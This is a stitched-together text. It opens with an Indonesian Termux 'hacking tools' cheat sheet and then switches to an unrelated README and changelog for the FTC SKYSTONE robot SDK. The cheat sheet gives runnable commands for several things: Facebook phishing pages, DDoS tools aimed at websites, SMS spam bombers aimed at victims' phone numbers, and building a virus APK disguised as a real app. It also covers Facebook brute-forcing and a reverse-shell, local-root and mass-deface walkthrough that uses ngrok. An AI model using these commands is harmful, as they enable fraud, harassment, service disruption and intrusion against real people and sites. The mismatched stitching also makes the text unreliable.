apt install proot $ git clone https://github.com/Neo-Oli/termux-ubu… $ cd termux-ubuntu $ chmod +x ubuntu.sh $ ./ubuntu.sh $ ./start.sh (```Install``` *Weeman* ) $ apt update && apt upgrade -y $ apt install git -y $ apt install python2 -y $ git clone https://github.com/evait-security/weeman $ cd weeman $ chmod 777 weeman.py $ python2 weeman.py Contoh $ set url http://facebook.com $ set action_url http://facebook.com run (Bisa diganti phising nya, kalau Twitter ya bisa ataupun yg lain) *Ikuti Langkah Demi Langkah* (````Install``` *Hunner framework*) $ apt update $ apt install python $ apt install git -y $ git clone https://github.com/b3-v3r/Hunner $ cd Hunner $ chmod 777 hunner.py $ python hunner.py Ikuti Langkah Demi Langkah (```Install``` *SQLMAP*) $ apt update $ apt install python $ apt install python2 $ apt install git $ gi clone https://github.com/sqlmapproject/sqlmap $ cd sqlmap $ Python2 sqlmap.py Exemple:- Python2 sqlmap.py -u website --dbs -D acuart --tables -D acuart -T users --columns -D acuart -T users -C name,email,phone -dump Ikuti Langkah Demi Langkah Lacak ip git clone https://github.com/maldevel/IPGeolocation cd IPGeolocation chmod +x ipgeolocation.py pip install -r requirements.txt python ipgeolocation.py -m python ipgeolocation.py -t IP yang ingin dilacak bbom spam apt upgrade && apt update apt install git git clone https://github.com/Amriez/gcospam cd gcospam sh install.sh sh gco.sh Pilih nomer yang mana ajjh Lalu Masukan nomer tanpa 0/62 Input bebas Jeda default ajjh --------------------------------------------------------------------- *1.Spammer SMS Grab Install Spammernya dulu* $pkg install python2 $pip2 install requests $pkg install git $git clone https://github.com/p4kl0nc4t/Spammer-Grab $cd Spammer-Grab $ls $chmod +x spammer.py $python2 spammer.py --delay 30 nomor korban. --------------------------------------------------------------------------------------- *Cara Install Lazymux di Termux* $ pkg update && upgrade $ pkg install python2 $ pkg install git $ git clone https://github.com/Gameye98/Lazymux $ cd Lazymux $ chmod +x lazymux.py $ python2 lazymux.py --------------------------------------------------------------------------------------- *2.Cara install tools daijobu* Fungsinya nanti liat sendiri lah di dalem tools nya $apt upgrade && apt update $apt install php $apt install git Kalo udah selesai langsung masukan git nya dengan perintah $git clone https://github.com/alintamvanz/diejoubu $cd diejoubu $cd v1.2 $php diejoubu.php --------------------------------------------------------------------------------------- 3. Install webdav $ apt update && upgrade $ apt install python2 $ pip2 install urllib3 chardet certifi idna requests $ apt install openssl curl $ pkg install libcurl $ ln -s /sdcard $ cd sdcard $ mkdir webdav $ cd webdav $ curl -k -O https://pastebin.com/raw/HnVyQPtR $ mv HnVyQPtR webdav.py $ python2 webdav.py --------------------------------------------------------------------------------------- *2. Xerxes* $ apt install git $ apt install clang $ git clone https://github.com/zanyarjamal/xerxes $ ls $ cd xerxes $ ls $ clang xerxes.c -o xerxes $ ls $ ./xerxes (nama website) 80 --------------------------------------------------------------------------------------- *3. Torshammer* $ pkg update $ pkg install git $ Pkg install tor $ pkg install python2 $ git clone https://github.com/dotfighter/torshammer.git $ ls $ cd torshammer $ python2 torshammer.py -T -t seword.com ( web y ang kalian attack ) #mr khanz'''TOOL TERMUX Cara Install D-tect tool di android termux (command ) : $ apt install git $ apt install python2 $ git clone https://github.com/shawarkhanethicalhacker/D-TECT $ ls $ cd D-TECH $ chmod +x d-tect.py $ python2 d-tect.py cara uninstall tool termux rm -rf toolsnya cara buat virus cd /sdcard cd vbug ls chmod vbug.py chmod -v vbug.py python2 vbug.py irssi /connet irc.freenode.net /nick w3wandroid /join #modol _________________________ DDOS via Termux 1. Hammer $ pkg update (tekan enter) $ pkg upgrade (tekan enter) $ pkg install python (tekan enter) $ pkg install git (tekan enter) $ git clone https://github.com/cyweb/hammer (tekan enter) $ cd hammer (tekan enter) $ python hammer.py (tekan enter) $ python hammer.py -s [IP target] -p [port] -t 135 (tekan enter) 104.27.146.125 2. Xerxes $ apt install git $ apt install clang $ git clone https://github.com/zanyarjamal/xerxes $ ls $ cd xerxes $ ls $ clang xerxes.c -o xerxes $ ls $ ./xerxes (nama website) 80 3. Torshammer $ pkg update $ pkg install git $ apt install tor $ pkg install python2 $ git clone https://github.com/dotfighter/torshammer.git $ ls $ cd torshammer $ python2 torshammer.py 4. liteDDOS $ apt update $ apt upgrade $ pkg install git $ pkg install python2 $ git clone https://github.com/4L13199/LITEDDOS $ cd LITEDDOS $ python2 liteDDOS.py _________________________________________ Bermain moon-buggy $ pkg install moon-buggy $ moon-buggy ________________________________________ musikan di termux $ pkg install mpv $ mpv/sdcard/lagu.mp3 /sdcard/ bisa di ganti sesuai letak musik ________________________________________ Browsing di termux $ pkg install w3m $ w3m www.google.com Linknya bsa diubah ________________________________________ Telephone di termux $ pkg install termux-api $ termux-telephony-call nomornya _______________________________________ Menampilkan animasi kereta :v $ pkg install sl $ sl _______________________________________ menampilkan ikon dan informasi sistem android $ pkg install neofetch $ neofetch _______________________________________ menampilkan teks dalam format ASCII $ pkg install figlet $ figlet masukin teksnya _______________________________________ $ pip install mps_youtube $ pip install youtube_dl $ apt install mpv $ mpsyt $ /judul lagu Tinggal pilih lagu dgn mengetik nomornya.  Tutorial membuat virus seperti aplikasi aslinya🚨 Tools yang dibutuhkan: APK Editor & tool vbug APK Editor bisa didownload di playstore Tool vbug https://www.mediafire.com/file/6hs6y71ryw10uvw/vbug.zip 1. Download tool vbugnya dulu 2. Taruh file tool vbug di luar folder pada memori internal 3. Buka termux lalu $ cd /sdcard 4. $ unzip vbug.zip 5. $ cd vbug 6. $ python2 vbug.py 7. Enter 8. Ketik 10 9. Ketik E 10. Aplikasi virusnya sudah jadi Setelah aplikasinya jad kita tinggal edit supaya mirip aslinya 1. Buka APK Editor 2. Klik Select an Apk File 3. Pilih aplikasi virus tadi 4. Klik full edit 5. Pada bagian kolom app_name tulis nama aplikasi yang kalian inginkan 6. Lalu klik files 7. Klik res/drawable 8. Logo yang kedua itu ganti dengan logo aplikasi yang kalian inginkan Catatan: format logo harus .png 9. Ceklist logo yang kedua lalu replace 10. Pilih file logo yang mau dijadikan logo aplikasi agan 11. Back sampai home Supaya aplikasi terlihat lebih nyata kita harus beri bobot pada aplikasi buatan kita 12. Klik tanda plus yang ada di bawah kiri, pilih file, lagu, gambar atau apapun yang coxok sebagai bobot apliaksi agan 13. Klik build 14. Tunggu hingga selesai 15. Jadi deh auto boot fb git clone https://github.com/Senitopeng/BotFbBangDjon.git cd BotFbBangDjon python2 bangdjon.py melihat id fb https://findmyfbid.in/ git clone https://github.com/tomiashari/fb-autoreaction.git cd fb-autoreaction python2 fb-autoreaction cara membuat virus cd Vbug/vbug.py cd /storage/emulated/0/Vbug cd vbug Python2 vbug.py CRACK PASSWORD HASH git clone https://github.com/FajriHidayat088/FHX-Hash-Killer/ cd FHX-Hash-Killer python2 FHXHashKiller.py git clone https://github.com/UltimateHackers/Hash-Buster $ cd Hash-Buster $ python2 hash.py pkg install irssi irssi (enter) /connect chat.freenode.net /nick oki /join #mrmaze Cara install Metasploit di termux (No Root) ~ apt update && apt upgrade ~ apt install curl ~ curl -LO https://raw.githubusercontent.com/Hax4us/Metasploit_termux/master/metasploit.sh ~ chmod +x metasploit.sh ~ ./metasploit.sh ... Tunggu proses instalasi sekitar 30-40 menit tergantung koneksi internet ... ( hack fb via termux ) $apt update $apt upgrade $apt install python2 $apt install python2-dev $apt install wget $dip2 install mechanize $cd/sterage/emulated/0 $python2 fbbrute.py ( yg tdi di download di tunda di luar folder ) $storage/emulated/0/fassword.txt ( sama kya yang tadi di download trus tinda di luar folder ) =tinggal tunggu fassword nya muncul Jika beruntung *silahkan mencoba* tool install $ apt update && apt upgrade $ apt install git $ git clone https://github.com/aryanrtm/4wsectools cd 4wsectools chmod 777 tools ./tools pip install mps_youtube pip install youtube_dl apt install mpv mpsyt /judul $ pkg update && pkg upgrade CHATTING VIA TERMUX $ pkg install irssi $ irssi $ /connect chat.freenode.net $ /nick 1235 12345 di ganti sesuai nama/nick agan $ /join #XCAteam 100% work boom spam apt upgrade && apt update apt install git git clone https://github.com/Amriez/gcospam cd gcospam sh install.sh sh gco.sh Pilih nomer yang mana ajjh Lalu Masukan nomer tanpa 0/62 Input bebas Jeda default ajjhj +6282399188718 Spam bom mall $ pkg install update $ pkg install upgrade $ pkg install wget $ pkg install php $ wget http://files-store.theprivat.ml/uploads/bom-mall.zip $ unzip bom-mall.zip $ cd bom-mall $ php run.php (```Install``` *SpamTsel*) $ pkg install curl $ pkg install php $ curl -s http://files-store.theprivat.ml/uploads/bombtsel.txt > bombtsel.php $ chmod 777 bombtsel.php $ php bombtsel.php 3) Tool Spam LITESPAM $ pkg install php $ pkg install toilet $ pkg install sh $ pkg install git $ git clone https://github.com/4L13199/LITESPAM $ cd LITESPAM $ sh LITESPAM.sh atau bash LITESPAM.sh Masukan Nomer nya... VBugMaker Termux -apt update && apt upgrade -apt install git -apt install python Donwload file ->http://upfile.mobi/YGwg8gQLuvv Pindah ke directory Next -unzip vbug.zip -mv vbug $HOME -cd vbug -ls -chmod +x vbug.py -python2 vbug.py #Done Cara Root Server Di Termux Dengan Ngrok Perl/PHP BackConnecter Mass Deface. 1. Install~ Buka Termux 2. Install Ngrok Registrasi Autthokennya. (http://ngrok.com/download;http://ngrok.com/signup) $ wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-arm.zip $ unzip ngrok-stable-linux-arm.zip ngrok $ ./ngrok authtoken JWJDKNxxxxxxxxxx $ ./ngrok tcp port :~# Welcome : Plan Free "0.tcp.ngrok.io:port-ngrok ~> localhost:port" 3. Download Perl/PHP Backconnecter (http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet) dan Edit file nya, cari $ip dan $port ganti dengan (0.tcp.ngrok.io:port-ngrok) ~>Upload ke website (PERL: ON)(PHP: ON) 5. in termux command : $ nc -lnvp port 6. in backdoor shell : $ perl perl-reverse-shell.pl (atau) > http://situs.co.li/perl-reverse-shell.php (Run the script simply by browsing to the newly uploaded file in your web browser) .----(after backconnect successfully)--- 7. upload LOCALROOT $ wget https://domain.com/localroot/dirty $ chmod 777 dirty $ ./dirty New password: ndasmu (successfully rooted) 8. import TTY shell ===>jika menggunakan dirty<=== $ echo "import pty; pty.spawn('/bin/bash')" > /tmp/sad.py $ python /tmp/sad.py ===>jika menggunakan cowroot<=== $ python -c 'import pty;pty.spawn("/usr/bin/passwd")' (https://evertpot.com/189/) .-------------------------------------------- 9. login as ROOT $ su rintoar Password: ndasmu .-------------------------------------------- 10 ./mass (https://m.youtube.com/watch?v=HPQQok40v78) .-------------------------------------------- WEEMAN [✓] apt update && apt upgrade -y apt install git -y apt install python2 -y git clone https://github.com/evait-security/weeman cd weeman chmod 777 weeman.py python2 weeman.py Ex set url http://facebook.com set action_url http://facebook.com run ___________________________________________ Hunner framework apt update apt install python apt install git -y git clone https://github.com/b3-v3r/Hunner cd Hunner chmod 777 hunner.py python hunner.py ___________________________________________ SQLMAP [✓] apt update apt install python apt install python2 apt install git git clone https://github.com/sqlmapproject/sqlmap cd sqlmap Python2 sqlmap.py ______ Exemplo Python2 sqlmap.py -u website –dbs -D acuart –tables -D acuart -T users –columns -D acuart -T users -C name,email,phone -dump ___________________________________ DDOS XERXES [✓] clang xerxes.c -o xerxes ./xerxes website 80 ___________________________________ DDOS TORSHAMMER [✓] apt-get update apt-get install python2 apt-get install tor apt-get install git git clone https://github.com/dotfighter/torshammer.git cd torshammer python2 torshammer.py -T -t website ___________________________________ BRUTEFORCE [✓] apt update apt upgrade apt install python apt install pip pip install wordlist apt install worlist Wordlist -h cd /sdcard Cat pas.txt ___________________________________ Localizar ip Apt install python git git clone https://github.com/maldevel/IPGeoLocation.git cd IPGeoLocation chmod +x ipgeoLocation.py pip install -r requirements.txt python ipgeolocation.py -m python ipgeolocation.py -t http://www.google.com ___________________________________ Hecker RECONDOG apt update apt install python python2 apt install git git clone https://github.com/UltimateHackers/ReconDog cd ReconDog chmod +x dog.py Python2 dog.py ___________________________________ BUSCA PAINEL ADM DE SITE pkg install git git clone https://github.com/Techzindia/admin_penal cd admin_penal chmod +x admin_panel_finder.py python2 admin_panel_finder.py ___________________________________ HAKKU apt install pytho apt install git mkdir vasu git clone https://github.com/4shadoww/hakkuframework cd hakkuframework chmod +x hakku python hakku show modules use whois show options set target examplesite.com run ___________________________________________ RED HAWK apt update apt install git git clone https://github.com/Tuhinshubhra/RED_HAWK cd RED_HAWK chmod +x rhawk.php apt install php ls php rhawk.php ___________________________________________ D-TECT apt update apt install git git clone https://github.com/shawarkhanethicalhacker/D-TECT cd D-TECT apt install python2 chmod +x d-tect.py python2 d-tect.py examplesite.com ___________________________________________ viSQL apt update apt install python2 apt install git git clone https://github.com/blackvkng/viSQL cd viSQL python2 -m pip install -r requirements.txt python2 viSQL.py python2 viSQL.py -t http://www.bible-history.com __________________ Hash Buster apt update apt upgrade apt install python2 apt install git git clone https://github.com/UltimateHackers/Hash-Buster cd Hash-Buster python2 hash.py PERKIRAAN cuaca curl http://wttr.in/ (lokasi) tool Routersploit apt install git apt install python2 pip2 install requests git clone https://github.com/reverse-shell/routersploit.git cd routersploit pip install -r requirements.txt termux-fix-shebang rsf.py Cara pake cd routersploit ./ rsf.py use scanners/autopwn show options set target 192.168.1.1 set port 8080 set threads 10 masukkan exploitsnya set target 192.168.1.1 -check -run tool ubuntu $ apt update $ apt install git $ apt install wget $ apt install proot $ git clone https://github.com/Neo-Oli/termux-ubu… $ cd termux-ubuntu $ chmod +x ubuntu.sh $ ./ubuntu.sh $ ./start.sh (```Install``` *Weeman* ) $ apt update && apt upgrade -y $ apt install git -y $ apt install python2 -y $ git clone https://github.com/evait-security/weeman $ cd weeman $ chmod 777 weeman.py $ python2 weeman.py Contoh $ set url http://facebook.com $ set action_url http://facebook.com run (Bisa diganti phising nya, kalau Twitter ya bisa ataupun yg lain) *Ikuti Langkah Demi Langkah* (````Install``` *Hunner framework*) $ apt update $ apt install python $ apt install git -y $ git clone https://github.com/b3-v3r/Hunner $ cd Hunner $ chmod 777 hunner.py $ python hunner.py Ikuti Langkah Demi Langkah (```Install``` *SQLMAP*) $ apt update $ apt install python $ apt install python2 $ apt install git $ gi clone https://github.com/sqlmapproject/sqlmap $ cd sqlmap $ Python2 sqlmap.py Exemple:- Python2 sqlmap.py -u website --dbs -D acuart --tables -D acuart -T users --columns -D acuart -T users -C name,email,phone -dump Ikuti Langkah Demi Langkah Lacak ip git clone https://github.com/maldevel/IPGeolocation cd IPGeolocation chmod +x ipgeolocation.py pip install -r requirements.txt python ipgeolocation.py -m python ipgeolocation.py -t IP yang ingin dilacak bbom spam apt upgrade && apt update apt install git git clone https://github.com/Amriez/gcospam cd gcospam sh install.sh sh gco.sh Pilih nomer yang mana ajjh Lalu Masukan nomer tanpa 0/62 Input bebas Jeda default ajjh --------------------------------------------------------------------- *1.Spammer SMS Grab Install Spammernya dulu* $pkg install python2 $pip2 install requests $pkg install git $git clone https://github.com/p4kl0nc4t/Spammer-Grab $cd Spammer-Grab $ls $chmod +x spammer.py $python2 spammer.py --delay 30 nomor korban. --------------------------------------------------------------------------------------- *Cara Install Lazymux di Termux* $ pkg update && upgrade $ pkg install python2 $ pkg install git $ git clone https://github.com/Gameye98/Lazymux $ cd Lazymux $ chmod +x lazymux.py $ python2 lazymux.py --------------------------------------------------------------------------------------- *2.Cara install tools daijobu* Fungsinya nanti liat sendiri lah di dalem tools nya $apt upgrade && apt update $apt install php $apt install git Kalo udah selesai langsung masukan git nya dengan perintah $git clone https://github.com/alintamvanz/diejoubu $cd diejoubu $cd v1.2 $php diejoubu.php --------------------------------------------------------------------------------------- 3. Install webdav $ apt update && upgrade $ apt install python2 $ pip2 install urllib3 chardet certifi idna requests $ apt install openssl curl $ pkg install libcurl $ ln -s /sdcard $ cd sdcard $ mkdir webdav $ cd webdav $ curl -k -O https://pastebin.com/raw/HnVyQPtR $ mv HnVyQPtR webdav.py $ python2 webdav.py --------------------------------------------------------------------------------------- *2. Xerxes* $ apt install git $ apt install clang $ git clone https://github.com/zanyarjamal/xerxes $ ls $ cd xerxes $ ls $ clang xerxes.c -o xerxes $ ls $ ./xerxes (nama website) 80 --------------------------------------------------------------------------------------- *3. Torshammer* $ pkg update $ pkg install git $ Pkg install tor $ pkg install python2 $ git clone https://github.com/dotfighter/torshammer.git $ ls $ cd torshammer $ python2 torshammer.py -T -t [8/11 18.11] BOT X3NONOLIMIT: Hack FACEBOOK *apt update && apt upgrade *pkg install python2 && pkg install wget *pip2 install mechanize && pip2 install request *pkg install git *git clone https://github.com/tikuskecil/multi-bruteforce-facebook *cd multi-bruteforce-facebook *ls *python2 MBF.py
chrisneagu
NOTICE This repository contains the public FTC SDK for the SKYSTONE (2019-2020) competition season. If you are looking for the current season's FTC SDK software, please visit the new and permanent home of the public FTC SDK: FtcRobotController repository Welcome! This GitHub repository contains the source code that is used to build an Android app to control a FIRST Tech Challenge competition robot. To use this SDK, download/clone the entire project to your local computer. Getting Started If you are new to robotics or new to the FIRST Tech Challenge, then you should consider reviewing the FTC Blocks Tutorial to get familiar with how to use the control system: FTC Blocks Online Tutorial Even if you are an advanced Java programmer, it is helpful to start with the FTC Blocks tutorial, and then migrate to the OnBot Java Tool or to Android Studio afterwards. Downloading the Project If you are an Android Studio programmer, there are several ways to download this repo. Note that if you use the Blocks or OnBot Java Tool to program your robot, then you do not need to download this repository. If you are a git user, you can clone the most current version of the repository: git clone https://github.com/FIRST-Tech-Challenge/SKYSTONE.git Or, if you prefer, you can use the "Download Zip" button available through the main repository page. Downloading the project as a .ZIP file will keep the size of the download manageable. You can also download the project folder (as a .zip or .tar.gz archive file) from the Downloads subsection of the Releases page for this repository. Once you have downloaded and uncompressed (if needed) your folder, you can use Android Studio to import the folder ("Import project (Eclipse ADT, Gradle, etc.)"). Getting Help User Documentation and Tutorials FIRST maintains online documentation with information and tutorials on how to use the FIRST Tech Challenge software and robot control system. You can access this documentation using the following link: SKYSTONE Online Documentation Note that the online documentation is an "evergreen" document that is constantly being updated and edited. It contains the most current information about the FIRST Tech Challenge software and control system. Javadoc Reference Material The Javadoc reference documentation for the FTC SDK is now available online. Click on the following link to view the FTC SDK Javadoc documentation as a live website: FTC Javadoc Documentation Documentation for the FTC SDK is also included with this repository. There is a subfolder called "doc" which contains several subfolders: The folder "apk" contains the .apk files for the FTC Driver Station and FTC Robot Controller apps. The folder "javadoc" contains the JavaDoc user documentation for the FTC SDK. Online User Forum For technical questions regarding the Control System or the FTC SDK, please visit the FTC Technology forum: FTC Technology Forum Release Information Version 5.5 (20200824-090813) Version 5.5 requires Android Studio 4.0 or later. New features Adds support for calling custom Java classes from Blocks OpModes (fixes SkyStone issue #161). Classes must be in the org.firstinspires.ftc.teamcode package. Methods must be public static and have no more than 21 parameters. Parameters declared as OpMode, LinearOpMode, Telemetry, and HardwareMap are supported and the argument is provided automatically, regardless of the order of the parameters. On the block, the sockets for those parameters are automatically filled in. Parameters declared as char or java.lang.Character will accept any block that returns text and will only use the first character in the text. Parameters declared as boolean or java.lang.Boolean will accept any block that returns boolean. Parameters declared as byte, java.lang.Byte, short, java.lang.Short, int, java.lang.Integer, long, or java.lang.Long, will accept any block that returns a number and will round that value to the nearest whole number. Parameters declared as float, java.lang.Float, double, java.lang.Double will accept any block that returns a number. Adds telemetry API method for setting display format Classic Monospace HTML (certain tags only) Adds blocks support for switching cameras. Adds Blocks support for TensorFlow Object Detection with a custom model. Adds support for uploading a custom TensorFlow Object Detection model in the Manage page, which is especially useful for Blocks and OnBotJava users. Shows new Control Hub blink codes when the WiFi band is switched using the Control Hub's button (only possible on Control Hub OS 1.1.2) Adds new warnings which can be disabled in the Advanced RC Settings Mismatched app versions warning Unnecessary 2.4 GHz WiFi usage warning REV Hub is running outdated firmware (older than version 1.8.2) Adds support for Sony PS4 gamepad, and reworks how gamepads work on the Driver Station Removes preference which sets gamepad type based on driver position. Replaced with menu which allows specifying type for gamepads with unknown VID and PID Attempts to auto-detect gamepad type based on USB VID and PID If gamepad VID and PID is not known, use type specified by user for that VID and PID If gamepad VID and PID is not known AND the user has not specified a type for that VID and PID, an educated guess is made about how to map the gamepad Driver Station will now attempt to automatically recover from a gamepad disconnecting, and re-assign it to the position it was assigned to when it dropped If only one gamepad is assigned and it drops: it can be recovered If two gamepads are assigned, and have different VID/PID signatures, and only one drops: it will be recovered If two gamepads are assigned, and have different VID/PID signatures, and BOTH drop: both will be recovered If two gamepads are assigned, and have the same VID/PID signatures, and only one drops: it will be recovered If two gamepads are assigned, and have the same VID/PID signatures, and BOTH drop: neither will be recovered, because of the ambiguity of the gamepads when they re-appear on the USB bus. There is currently one known edge case: if there are two gamepads with the same VID/PID signature plugged in, but only one is assigned, and they BOTH drop, it's a 50-50 chance of which one will be chosen for automatic recovery to the assigned position: it is determined by whichever one is re-enumerated first by the USB bus controller. Adds landscape user interface to Driver Station New feature: practice timer with audio cues New feature (Control Hub only): wireless network connection strength indicator (0-5 bars) New feature (Control Hub only): tapping on the ping/channel display will switch to an alternate display showing radio RX dBm and link speed (tap again to switch back) The layout will NOT autorotate. You can switch the layout from the Driver Station's settings menu. Breaking changes Removes support for Android versions 4.4 through 5.1 (KitKat and Lollipop). The minSdkVersion is now 23. Removes the deprecated LinearOpMode methods waitOneFullHardwareCycle() and waitForNextHardwareCycle() Enhancements Handles RS485 address of Control Hub automatically The Control Hub is automatically given a reserved address Existing configuration files will continue to work All addresses in the range of 1-10 are still available for Expansion Hubs The Control Hub light will now normally be solid green, without blinking to indicate the address The Control Hub will not be shown on the Expansion Hub Address Change settings page Improves REV Hub firmware updater The user can now choose between all available firmware update files Version 1.8.2 of the REV Hub firmware is bundled into the Robot Controller app. Text was added to clarify that Expansion Hubs can only be updated via USB. Firmware update speed was reduced to improve reliability Allows REV Hub firmware to be updated directly from the Manage webpage Improves log viewer on Robot Controller Horizontal scrolling support (no longer word wrapped) Supports pinch-to-zoom Uses a monospaced font Error messages are highlighted New color scheme Attempts to force-stop a runaway/stuck OpMode without restarting the entire app Not all types of runaway conditions are stoppable, but if the user code attempts to talk to hardware during the runaway, the system should be able to capture it. Makes various tweaks to the Self Inspect screen Renames "OS version" entry to "Android version" Renames "WiFi Direct Name" to "WiFi Name" Adds Control Hub OS version, when viewing the report of a Control Hub Hides the airplane mode entry, when viewing the report of a Control Hub Removes check for ZTE Speed Channel Changer Shows firmware version for all Expansion and Control Hubs Reworks network settings portion of Manage page All network settings are now applied with a single click The WiFi Direct channel of phone-based Robot Controllers can now be changed from the Manage page WiFi channels are filtered by band (2.4 vs 5 GHz) and whether they overlap with other channels The current WiFi channel is pre-selected on phone-based Robot Controllers, and Control Hubs running OS 1.1.2 or later. On Control Hubs running OS 1.1.2 or later, you can choose to have the system automatically select a channel on the 5 GHz band Improves OnBotJava New light and dark themes replace the old themes (chaos, github, chrome,...) the new default theme is light and will be used when you first update to this version OnBotJava now has a tabbed editor Read-only offline mode Improves function of "exit" menu item on Robot Controller and Driver Station Now guaranteed to be fully stopped and unloaded from memory Shows a warning message if a LinearOpMode exists prematurely due to failure to monitor for the start condition Improves error message shown when the Driver Station and Robot Controller are incompatible with each other Driver Station OpMode Control Panel now disabled while a Restart Robot is in progress Disables advanced settings related to WiFi direct when the Robot Controller is a Control Hub. Tint phone battery icons on Driver Station when low/critical. Uses names "Control Hub Portal" and "Control Hub" (when appropriate) in new configuration files Improve I2C read performance Very large improvement on Control Hub; up to ~2x faster with small (e.g. 6 byte) reads Not as apparent on Expansion Hubs connected to a phone Update/refresh build infrastructure Update to 'androidx' support library from 'com.android.support:appcompat', which is end-of-life Update targetSdkVersion and compileSdkVersion to 28 Update Android Studio's Android plugin to latest Fix reported build timestamp in 'About' screen Add sample illustrating manual webcam use: ConceptWebcam Bug fixes Fixes SkyStone issue #248 Fixes SkyStone issue #232 and modifies bulk caching semantics to allow for cache-preserving MANUAL/AUTO transitions. Improves performance when REV 2M distance sensor is unplugged Improves readability of Toast messages on certain devices Allows a Driver Station to connect to a Robot Controller after another has disconnected Improves generation of fake serial numbers for UVC cameras which do not provide a real serial number Previously some devices would assign such cameras a serial of 0:0 and fail to open and start streaming Fixes ftc_app issue #638. Fixes a slew of bugs with the Vuforia camera monitor including: Fixes bug where preview could be displayed with a wonky aspect ratio Fixes bug where preview could be cut off in landscape Fixes bug where preview got totally messed up when rotating phone Fixes bug where crosshair could drift off target when using webcams Fixes issue in UVC driver on some devices (ftc_app 681) if streaming was started/stopped multiple times in a row Issue manifested as kernel panic on devices which do not have this kernel patch. On affected devices which do have the patch, the issue was manifest as simply a failure to start streaming. The Tech Team believes that the root cause of the issue is a bug in the Linux kernel XHCI driver. A workaround was implemented in the SDK UVC driver. Fixes bug in UVC driver where often half the frames from the camera would be dropped (e.g. only 15FPS delivered during a streaming session configured for 30FPS). Fixes issue where TensorFlow Object Detection would show results whose confidence was lower than the minimum confidence parameter. Fixes a potential exploitation issue of CVE-2019-11358 in OnBotJava Fixes changing the address of an Expansion Hub with additional Expansion Hubs connected to it Preserves the Control Hub's network connection when "Restart Robot" is selected Fixes issue where device scans would fail while the Robot was restarting Fix RenderScript usage Use androidx.renderscript variant: increased compatibility Use RenderScript in Java mode, not native: simplifies build Fixes webcam-frame-to-bitmap conversion problem: alpha channel wasn't being initialized, only R, G, & B Fixes possible arithmetic overflow in Deadline Fixes deadlock in Vuforia webcam support which could cause 5-second delays when stopping OpMode Version 5.4 (20200108-101156) Fixes SkyStone issue #88 Adds an inspection item that notes when a robot controller (Control Hub) is using the factory default password. Fixes SkyStone issue #61 Fixes SkyStone issue #142 Fixes ftc_app issue #417 by adding more current and voltage monitoring capabilities for REV Hubs. Fixes a crash sometimes caused by OnBotJava activity Improves OnBotJava autosave functionality ftc_app #738 Fixes system responsiveness issue when an Expansion Hub is disconnected Fixes issue where IMU initialization could prevent Op Modes from stopping Fixes issue where AndroidTextToSpeech.speak() would fail if it was called too early Adds telemetry.speak() methods and blocks, which cause the Driver Station (if also updated) to speak text Adds and improves Expansion Hub-related warnings Improves Expansion Hub low battery warning Displays the warning immediately after the hub reports it Specifies whether the condition is current or occurred temporarily during an OpMode run Displays which hubs reported low battery Displays warning when hub loses and regains power during an OpMode run Fixes the hub's LED pattern after this condition Displays warning when Expansion Hub is not responding to commands Specifies whether the condition is current or occurred temporarily during an OpMode run Clarifies warning when Expansion Hub is not present at startup Specifies that this condition requires a Robot Restart before the hub can be used. The hub light will now accurately reflect this state Improves logging and reduces log spam during these conditions Syncs the Control Hub time and timezone to a connected web browser programming the robot, if a Driver Station is not available. Adds bulk read functionality for REV Hubs A bulk caching mode must be set at the Hub level with LynxModule#setBulkCachingMode(). This applies to all relevant SDK hardware classes that reference that Hub. The following following Hub bulk caching modes are available: BulkCachingMode.OFF (default): All hardware calls operate as usual. Bulk data can read through LynxModule#getBulkData() and processed manually. BulkCachingMode.AUTO: Applicable hardware calls are served from a bulk read cache that is cleared/refreshed automatically to ensure identical commands don't hit the same cache. The cache can also be cleared manually with LynxModule#clearBulkCache(), although this is not recommended. (advanced users) BulkCachingMode.MANUAL: Same as BulkCachingMode.AUTO except the cache is never cleared automatically. To avoid getting stale data, the cache must be manually cleared at the beginning of each loop body or as the user deems appropriate. Removes PIDF Annotation values added in Rev 5.3 (to AndyMark, goBILDA and TETRIX motor configurations). The new motor types will still be available but their Default control behavior will revert back to Rev 5.2 Adds new ConceptMotorBulkRead sample Opmode to demonstrate and compare Motor Bulk-Read modes for reducing I/O latencies. Version 5.3 (20191004-112306) Fixes external USB/UVC webcam support Makes various bugfixes and improvements to Blocks page, including but not limited to: Many visual tweaks Browser zoom and window resize behave better Resizing the Java preview pane works better and more consistently across browsers The Java preview pane consistently gets scrollbars when needed The Java preview pane is hidden by default on phones Internet Explorer 11 should work Large dropdown lists display properly on lower res screens Disabled buttons are now visually identifiable as disabled A warning is shown if a user selects a TFOD sample, but their device is not compatible Warning messages in a Blocks op mode are now visible by default. Adds goBILDA 5201 and 5202 motors to Robot Configurator Adds PIDF Annotation values to AndyMark, goBILDA and TETRIX motor configurations. This has the effect of causing the RUN_USING_ENCODERS and RUN_TO_POSITION modes to use PIDF vs PID closed loop control on these motors. This should provide more responsive, yet stable, speed control. PIDF adds Feedforward control to the basic PID control loop. Feedforward is useful when controlling a motor's speed because it "anticipates" how much the control voltage must change to achieve a new speed set-point, rather than requiring the integrated error to change sufficiently. The PIDF values were chosen to provide responsive, yet stable, speed control on a lightly loaded motor. The more heavily a motor is loaded (drag or friction), the more noticable the PIDF improvement will be. Fixes startup crash on Android 10 Fixes ftc_app issue #712 (thanks to FROGbots-4634) Fixes ftc_app issue #542 Allows "A" and lowercase letters when naming device through RC and DS apps. Version 5.2 (20190905-083277) Fixes extra-wide margins on settings activities, and placement of the new configuration button Adds Skystone Vuforia image target data. Includes sample Skystone Vuforia Navigation op modes (Java). Includes sample Skystone Vuforia Navigation op modes (Blocks). Adds TensorFlow inference model (.tflite) for Skystone game elements. Includes sample Skystone TensorFlow op modes (Java). Includes sample Skystone TensorFlow op modes (Blocks). Removes older (season-specific) sample op modes. Includes 64-bit support (to comply with Google Play requirements). Protects against Stuck OpModes when a Restart Robot is requested. (Thanks to FROGbots-4634) (ftc_app issue #709) Blocks related changes: Fixes bug with blocks generated code when hardware device name is a java or javascript reserved word. Shows generated java code for blocks, even when hardware items are missing from the active configuration. Displays warning icon when outdated Vuforia and TensorFlow blocks are used (SkyStone issue #27) Version 5.1 (20190820-222104) Defines default PIDF parameters for the following motors: REV Core Hex Motor REV 20:1 HD Hex Motor REV 40:1 HD Hex Motor Adds back button when running on a device without a system back button (such as a Control Hub) Allows a REV Control Hub to update the firmware on a REV Expansion Hub via USB Fixes SkyStone issue #9 Fixes ftc_app issue #715 Prevents extra DS User clicks by filtering based on current state. Prevents incorrect DS UI state changes when 